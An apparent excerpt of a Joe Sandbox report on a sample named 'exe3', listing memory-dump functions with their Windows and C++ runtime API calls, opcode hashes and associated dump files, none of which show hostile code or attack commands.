Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_H_prolog3RegisterThrow
String ID:
API String ID: 651022567-0
Opcode ID: 237c4724336ac592a9e3357ab35c790da152e0e8f15ad6e102486fb4f6a2d520
Instruction ID: 083f8a8b1e7406cd314449653db5b6546c51ac439a3483ce64bd061c79c410f9
Opcode Fuzzy Hash: 237c4724336ac592a9e3357ab35c790da152e0e8f15ad6e102486fb4f6a2d520
Instruction Fuzzy Hash: 7911C23590021A9BCF04EBA4D84AAED7F79BFD4310F54011AE415A72A1CF34DE04CB96

Function 0056C795 Relevance: 9.1, APIs: 6, Instructions: 54COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 0056C79C
std::_Lockit::_Lockit.LIBCPMT ref: 0056C7A6
int.LIBCPMT ref: 0056C7BD

Part of subcall function 00562740: std::_Lockit::_Lockit.LIBCPMT ref: 00562751
Part of subcall function 00562740: std::_Lockit::~_Lockit.LIBCPMT ref: 0056276B

std::_Facet_Register.LIBCPMT ref: 0056C7F7
std::_Lockit::~_Lockit.LIBCPMT ref: 0056C817
__CxxThrowException@8.LIBVCRUNTIME ref: 0056C835

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_H_prolog3RegisterThrow
String ID:
API String ID: 651022567-0
Opcode ID: f1945becf2a79e10a018fc15dbe1904136c5cb4e3804aa59e36c99aa6c08118d
Instruction ID: 506fd771c8043697be275a52774194a3e8a34fa85889892efda46b7f171bef1c
Opcode Fuzzy Hash: f1945becf2a79e10a018fc15dbe1904136c5cb4e3804aa59e36c99aa6c08118d
Instruction Fuzzy Hash: 5A11C23590051A9BCF15EBA0D849AFD7FB5BFC4710F144519E401A7292DF789A04CBA5

Function 0056C83B Relevance: 9.1, APIs: 6, Instructions: 54COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 0056C842
std::_Lockit::_Lockit.LIBCPMT ref: 0056C84C
int.LIBCPMT ref: 0056C863

Part of subcall function 00562740: std::_Lockit::_Lockit.LIBCPMT ref: 00562751
Part of subcall function 00562740: std::_Lockit::~_Lockit.LIBCPMT ref: 0056276B

std::_Facet_Register.LIBCPMT ref: 0056C89D
std::_Lockit::~_Lockit.LIBCPMT ref: 0056C8BD
__CxxThrowException@8.LIBVCRUNTIME ref: 0056C8DB

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_H_prolog3RegisterThrow
String ID:
API String ID: 651022567-0
Opcode ID: 7e4641d9f0102dd134e28f0b629f8e069c6ac4df473146824e4f617f86c8eb69
Instruction ID: 58439596a2ec256201cb59e84b5edfe72c400bc5181508d9aa41c58a8d866f68
Opcode Fuzzy Hash: 7e4641d9f0102dd134e28f0b629f8e069c6ac4df473146824e4f617f86c8eb69
Instruction Fuzzy Hash: 5011E535D0411A9BCF05EBA0D819AFE7F75BFC4310F15451AE811A72A2DF349E05CB96

Function 0056C8E1 Relevance: 9.1, APIs: 6, Instructions: 54COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 0056C8E8
std::_Lockit::_Lockit.LIBCPMT ref: 0056C8F2
int.LIBCPMT ref: 0056C909

Part of subcall function 00562740: std::_Lockit::_Lockit.LIBCPMT ref: 00562751
Part of subcall function 00562740: std::_Lockit::~_Lockit.LIBCPMT ref: 0056276B

std::_Facet_Register.LIBCPMT ref: 0056C943
std::_Lockit::~_Lockit.LIBCPMT ref: 0056C963
__CxxThrowException@8.LIBVCRUNTIME ref: 0056C981

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_H_prolog3RegisterThrow
String ID:
API String ID: 651022567-0
Opcode ID: 3e8fb15f1ee0d205dad4b399a913e19617fba73a0608b9ea729f795927e19cec
Instruction ID: 809c64a3bec9ac7c0059037d471c0cd56bf1d691d582377414bbb0da45efba11
Opcode Fuzzy Hash: 3e8fb15f1ee0d205dad4b399a913e19617fba73a0608b9ea729f795927e19cec
Instruction Fuzzy Hash: 9811023590021A8BCF05EBA4D849AFE7F74BFC4710F150119E410A72A1CF38AA44C795

Function 0056CA2D Relevance: 9.1, APIs: 6, Instructions: 54COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 0056CA34
std::_Lockit::_Lockit.LIBCPMT ref: 0056CA3E
int.LIBCPMT ref: 0056CA55

Part of subcall function 00562740: std::_Lockit::_Lockit.LIBCPMT ref: 00562751
Part of subcall function 00562740: std::_Lockit::~_Lockit.LIBCPMT ref: 0056276B

std::_Facet_Register.LIBCPMT ref: 0056CA8F
std::_Lockit::~_Lockit.LIBCPMT ref: 0056CAAF
__CxxThrowException@8.LIBVCRUNTIME ref: 0056CACD

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_H_prolog3RegisterThrow
String ID:
API String ID: 651022567-0
Opcode ID: e5a497ab42ac6d64087ab0fd751864fb0829a57d06b9ce80ec462cde4c2244c8
Instruction ID: 6b8f1706e5dbfe04ffcd8b0966a71343172e4666d156db54b49cda4b0d3d3239
Opcode Fuzzy Hash: e5a497ab42ac6d64087ab0fd751864fb0829a57d06b9ce80ec462cde4c2244c8
Instruction Fuzzy Hash: 7111CE7590021A9BCF04FBA0D859AFE7F79BFC4311F250119E414AB2A2CF389E04CBA5

Function 0056CAD3 Relevance: 9.1, APIs: 6, Instructions: 54COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 0056CADA
std::_Lockit::_Lockit.LIBCPMT ref: 0056CAE4
int.LIBCPMT ref: 0056CAFB

Part of subcall function 00562740: std::_Lockit::_Lockit.LIBCPMT ref: 00562751
Part of subcall function 00562740: std::_Lockit::~_Lockit.LIBCPMT ref: 0056276B

std::_Facet_Register.LIBCPMT ref: 0056CB35
std::_Lockit::~_Lockit.LIBCPMT ref: 0056CB55
__CxxThrowException@8.LIBVCRUNTIME ref: 0056CB73

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_H_prolog3RegisterThrow
String ID:
API String ID: 651022567-0
Opcode ID: 2a72b9167a847934130878abb6ef0cec3cf346ec26ad6f627e99f64886212f2c
Instruction ID: 48dbbf86ed08bf437d26cab421df4bb23479ae32a02bf80e4d9443b04213d358
Opcode Fuzzy Hash: 2a72b9167a847934130878abb6ef0cec3cf346ec26ad6f627e99f64886212f2c
Instruction Fuzzy Hash: 8911E53590021A9BCF05EFA4D84AAFE7F79BFC4710F544119E400AB2A1DF749E04C796

Function 0056CB79 Relevance: 9.1, APIs: 6, Instructions: 54COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 0056CB80
std::_Lockit::_Lockit.LIBCPMT ref: 0056CB8A
int.LIBCPMT ref: 0056CBA1

Part of subcall function 00562740: std::_Lockit::_Lockit.LIBCPMT ref: 00562751
Part of subcall function 00562740: std::_Lockit::~_Lockit.LIBCPMT ref: 0056276B

std::_Facet_Register.LIBCPMT ref: 0056CBDB
std::_Lockit::~_Lockit.LIBCPMT ref: 0056CBFB
__CxxThrowException@8.LIBVCRUNTIME ref: 0056CC19

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_H_prolog3RegisterThrow
String ID:
API String ID: 651022567-0
Opcode ID: 828ffccbd60acf7e40086685461b8eb18d4417bd4ac65c13ebca760617a8cd75
Instruction ID: 7c12a11118b6f457b00c50e50ca1f5dc61ef7a2e37a54f5a15492bf92db0f7e2
Opcode Fuzzy Hash: 828ffccbd60acf7e40086685461b8eb18d4417bd4ac65c13ebca760617a8cd75
Instruction Fuzzy Hash: 2911C23590051A9BCF04EBA0D84AAFE7F75BFC4711F24411AE414B73A1CF349A05CB95

Function 0056CC1F Relevance: 9.1, APIs: 6, Instructions: 54COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 0056CC26
std::_Lockit::_Lockit.LIBCPMT ref: 0056CC30
int.LIBCPMT ref: 0056CC47

Part of subcall function 00562740: std::_Lockit::_Lockit.LIBCPMT ref: 00562751
Part of subcall function 00562740: std::_Lockit::~_Lockit.LIBCPMT ref: 0056276B

std::_Facet_Register.LIBCPMT ref: 0056CC81
std::_Lockit::~_Lockit.LIBCPMT ref: 0056CCA1
__CxxThrowException@8.LIBVCRUNTIME ref: 0056CCBF

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_H_prolog3RegisterThrow
String ID:
API String ID: 651022567-0
Opcode ID: a673e4cbdac2109833df59810b05be83db5e3be63ad86ca438180804fad7e1fb
Instruction ID: 9c2f22e074627935919506b44f97c0f298514d5bc057bbfd884a5766d84149e8
Opcode Fuzzy Hash: a673e4cbdac2109833df59810b05be83db5e3be63ad86ca438180804fad7e1fb
Instruction Fuzzy Hash: 7A110E3190461A9BCF05EBA0D849AFEBF79BFC4710F14011EE414AB2A2CF349E04CB91

Function 004B1593 Relevance: 9.0, APIs: 6, Instructions: 48windowCOMMON

Download Yara Rule

APIs

GetFocus.USER32 ref: 004B1596

Part of subcall function 004B1438: GetWindowLongA.USER32(00000000,000000F0), ref: 004B1449

GetParent.USER32(00000000), ref: 004B15BD

Part of subcall function 004B1438: GetClassNameA.USER32(00000000,?,0000000A), ref: 004B1464
Part of subcall function 004B1438: lstrcmpiA.KERNEL32(?,combobox), ref: 004B1473

GetWindowLongA.USER32(?,000000F0), ref: 004B15D8
GetParent.USER32(?), ref: 004B15E6
GetDesktopWindow.USER32 ref: 004B15EA
SendMessageA.USER32(00000000,0000014F,00000000,00000000), ref: 004B15FE

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: Window$LongParent$ClassDesktopFocusMessageNameSendlstrcmpi
String ID:
API String ID: 2818563221-0
Opcode ID: 36fb3a405cd878ec1e98b1e0e635fe4d9ef76d55e9e514cefb188d4454933bc1
Instruction ID: 8e168785617a342efcb25cbde885d8730819deea10a17b60412a90eb12cc8010
Opcode Fuzzy Hash: 36fb3a405cd878ec1e98b1e0e635fe4d9ef76d55e9e514cefb188d4454933bc1
Instruction Fuzzy Hash: B2F0A43224062137D73227395CD8FEF62585F96B65F990226F615A62E0DB189D01817C

Function 004B14AD Relevance: 9.0, APIs: 6, Instructions: 46COMMON

Download Yara Rule

APIs

ClientToScreen.USER32(?,?), ref: 004B14BC
GetWindow.USER32(?,00000005), ref: 004B14CD
GetDlgCtrlID.USER32(00000000), ref: 004B14D6
GetWindowLongA.USER32(00000000,000000F0), ref: 004B14E5
GetWindowRect.USER32(00000000,?), ref: 004B14F7
PtInRect.USER32(?,?,?), ref: 004B1507

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: Window$Rect$ClientCtrlLongScreen
String ID:
API String ID: 1315500227-0
Opcode ID: 5f1ccce78b197a9118e49e7b6a34baf389971c4836a2a32dc0a3abb7877a86cf
Instruction ID: c4c15566ccf30c386bbc3ae9ef3705e0e84a0fa4b1bb8c00e5d316ce11386346
Opcode Fuzzy Hash: 5f1ccce78b197a9118e49e7b6a34baf389971c4836a2a32dc0a3abb7877a86cf
Instruction Fuzzy Hash: 03014F36504115BBDB225F64DC18EEF776CEF45714F844632FA12D21A1D734DE228BA8

Function 0049E02E Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 115COMMON

Download Yara Rule

APIs

GetVersionExA.KERNEL32 ref: 0049E04D
GetEnvironmentVariableA.KERNEL32(__MSVCRT_HEAP_SELECT,?,00001090), ref: 0049E082
GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 0049E0E2

Strings

__GLOBAL_HEAP_SELECTED, xrefs: 0049E0BC
__MSVCRT_HEAP_SELECT, xrefs: 0049E07D

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: EnvironmentFileModuleNameVariableVersion
String ID: __GLOBAL_HEAP_SELECTED$__MSVCRT_HEAP_SELECT
API String ID: 1385375860-4131005785
Opcode ID: 6814996cd0e03b6649e6a901a6904419e8d96ece4f682eae3f8958c7d9892204
Instruction ID: 64f48c2777a4b5da0c7a525eeae2a043a07d4af17c42abdb8d86d3d5cb21eb45
Opcode Fuzzy Hash: 6814996cd0e03b6649e6a901a6904419e8d96ece4f682eae3f8958c7d9892204
Instruction Fuzzy Hash: F4312831901258ADEF31C6725C46BEF3FA89B06704F2404FBD185C5292E6798EC6CB1A

Function 004AC0A5 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 101windowCOMMON

Download Yara Rule

APIs

SendMessageA.USER32(00000000,00000405,00000000,?), ref: 004AC15E
GetWindowLongA.USER32(?,000000FC), ref: 004AC16F
GetWindowLongA.USER32(?,000000FC), ref: 004AC17F
SetWindowLongA.USER32(?,000000FC,?), ref: 004AC19B

Strings

(, xrefs: 004AC149

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: LongWindow$MessageSend
String ID: (
API String ID: 2178440468-3887548279
Opcode ID: 1959ea9ff914755bb690a5f070b2c098c29ecf17d83041c36daaefdc48a0c255
Instruction ID: 244493aed7001515985326476330b8ee680680163c68b948036336e6a7f6f45c
Opcode Fuzzy Hash: 1959ea9ff914755bb690a5f070b2c098c29ecf17d83041c36daaefdc48a0c255
Instruction Fuzzy Hash: 1231BE316007009FDB61AFAAC884A5ABBE5BF55714F14422EE542A7392DB38EC008F98

Function 004B433F Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 88stringCOMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,?), ref: 004B4370

Part of subcall function 004B445C: lstrlen.KERNEL32(00000104,00000000,?,004B43A0), ref: 004B4493

lstrcpy.KERNEL32(?,.HLP), ref: 004B4411
lstrcat.KERNEL32(?,.INI), ref: 004B443E

Strings

.INI, xrefs: 004B4438
.HLP, xrefs: 004B440B

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
